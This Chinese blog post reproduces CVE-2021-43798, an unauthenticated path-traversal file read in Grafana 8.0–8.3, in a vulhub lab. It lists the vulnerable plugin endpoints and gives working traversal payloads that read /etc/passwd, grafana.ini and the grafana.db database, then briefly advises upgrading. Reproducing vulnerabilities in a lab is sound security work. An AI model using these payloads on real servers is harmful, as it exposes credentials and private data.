CVE-2021-43798——Grafana 未授权任意文件读取

我会带着你远行 2023-09-25 20:25 98阅读 0赞

Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后，Grafana可以在网络浏览器里显示数据图表和警告。

未授权的攻击者利用该漏洞，能够获取服务器敏感文件

**该漏洞是由于Grafana 插件引发的目录穿越漏洞导致任意文件读取,由于Grafana的读取文件接口存在未授权，且未对文件地址进行过滤，导致可以目录穿越实现系统任意文件读取**

**受影响版本：Grafana 8.0.0 - 8.3.0**

### 漏洞复现 ###

**vulhub靶场环境**

docker-compose up -d #开启容器

进入3000端口查看，进入grafana的登陆界面

![14fe23dc91a145729c310ac6d8d2bfae.png][]

使用burpsuit对这个页面进行抓包

![0c6928f74a4c4514aae8d2532985ae04.png][]

这里我们需要用到里面的受影响的插件来构造POC

**官方发布的受影响的插件名单**

<grafana_host_url>/public/plugins/alertlist/
        <grafana_host_url>/public/plugins/annolist/
        <grafana_host_url>/public/plugins/barchart/
        <grafana_host_url>/public/plugins/bargauge/
        <grafana_host_url>/public/plugins/candlestick/
        <grafana_host_url>/public/plugins/cloudwatch/
        <grafana_host_url>/public/plugins/dashlist/
        <grafana_host_url>/public/plugins/elasticsearch/
        <grafana_host_url>/public/plugins/gauge/
        <grafana_host_url>/public/plugins/geomap/
        <grafana_host_url>/public/plugins/gettingstarted/
        <grafana_host_url>/public/plugins/grafana-azure-monitor-datasource/
        <grafana_host_url>/public/plugins/graph/
        <grafana_host_url>/public/plugins/heatmap/
        <grafana_host_url>/public/plugins/histogram/
        <grafana_host_url>/public/plugins/influxdb/
        <grafana_host_url>/public/plugins/jaeger/
        <grafana_host_url>/public/plugins/logs/
        <grafana_host_url>/public/plugins/loki/
        <grafana_host_url>/public/plugins/mssql/
        <grafana_host_url>/public/plugins/mysql/
        <grafana_host_url>/public/plugins/news/
        <grafana_host_url>/public/plugins/nodeGraph/
        <grafana_host_url>/public/plugins/opentsdb
        <grafana_host_url>/public/plugins/piechart/
        <grafana_host_url>/public/plugins/pluginlist/
        <grafana_host_url>/public/plugins/postgres/
        <grafana_host_url>/public/plugins/prometheus/
        <grafana_host_url>/public/plugins/stackdriver/
        <grafana_host_url>/public/plugins/stat/
        <grafana_host_url>/public/plugins/state-timeline/
        <grafana_host_url>/public/plugins/status-history/
        <grafana_host_url>/public/plugins/table/
        <grafana_host_url>/public/plugins/table-old/
        <grafana_host_url>/public/plugins/tempo/
        <grafana_host_url>/public/plugins/testdata/
        <grafana_host_url>/public/plugins/text/
        <grafana_host_url>/public/plugins/timeseries/
        <grafana_host_url>/public/plugins/welcome/
        <grafana_host_url>/public/plugins/zipkin/

以下演示就使用gauge来进行，在抓到的数据包的GET后面添加payload进去

**\#读取passwd目录**

/public/plugins/gauge/../../../../../../../../../etc/passwd

![f837440fb45941e09632ea5376956c1a.png][]

**\#读取Grafana配置文件**

/public/plugins/gauge/../../../../../../../../../../../../../../../etc/grafana/grafana.ini

![e3ae495a2ed449cca2d2ed3f3590d277.png][]

**\#读取grafana数据库**

/public/plugins/gauge/../../../../../../../../../../../../../../../var/lib/grafana/grafana.db

![19776dfbe8ac4e90b36a507517351554.png][]

### 修复建议 ###

处于受影响版本的应立即升级

\-----------------------------------------------------------------------------------------------------------------------------

### **（如果文章内容有误，麻烦大佬们指点，我会及时改正，如果帮助到了您，麻烦点个赞呗）** ###

[14fe23dc91a145729c310ac6d8d2bfae.png]: https://img-blog.csdnimg.cn/14fe23dc91a145729c310ac6d8d2bfae.png
[0c6928f74a4c4514aae8d2532985ae04.png]: https://img-blog.csdnimg.cn/0c6928f74a4c4514aae8d2532985ae04.png
[f837440fb45941e09632ea5376956c1a.png]: https://img-blog.csdnimg.cn/f837440fb45941e09632ea5376956c1a.png
[e3ae495a2ed449cca2d2ed3f3590d277.png]: https://img-blog.csdnimg.cn/e3ae495a2ed449cca2d2ed3f3590d277.png
[19776dfbe8ac4e90b36a507517351554.png]: https://img-blog.csdnimg.cn/19776dfbe8ac4e90b36a507517351554.png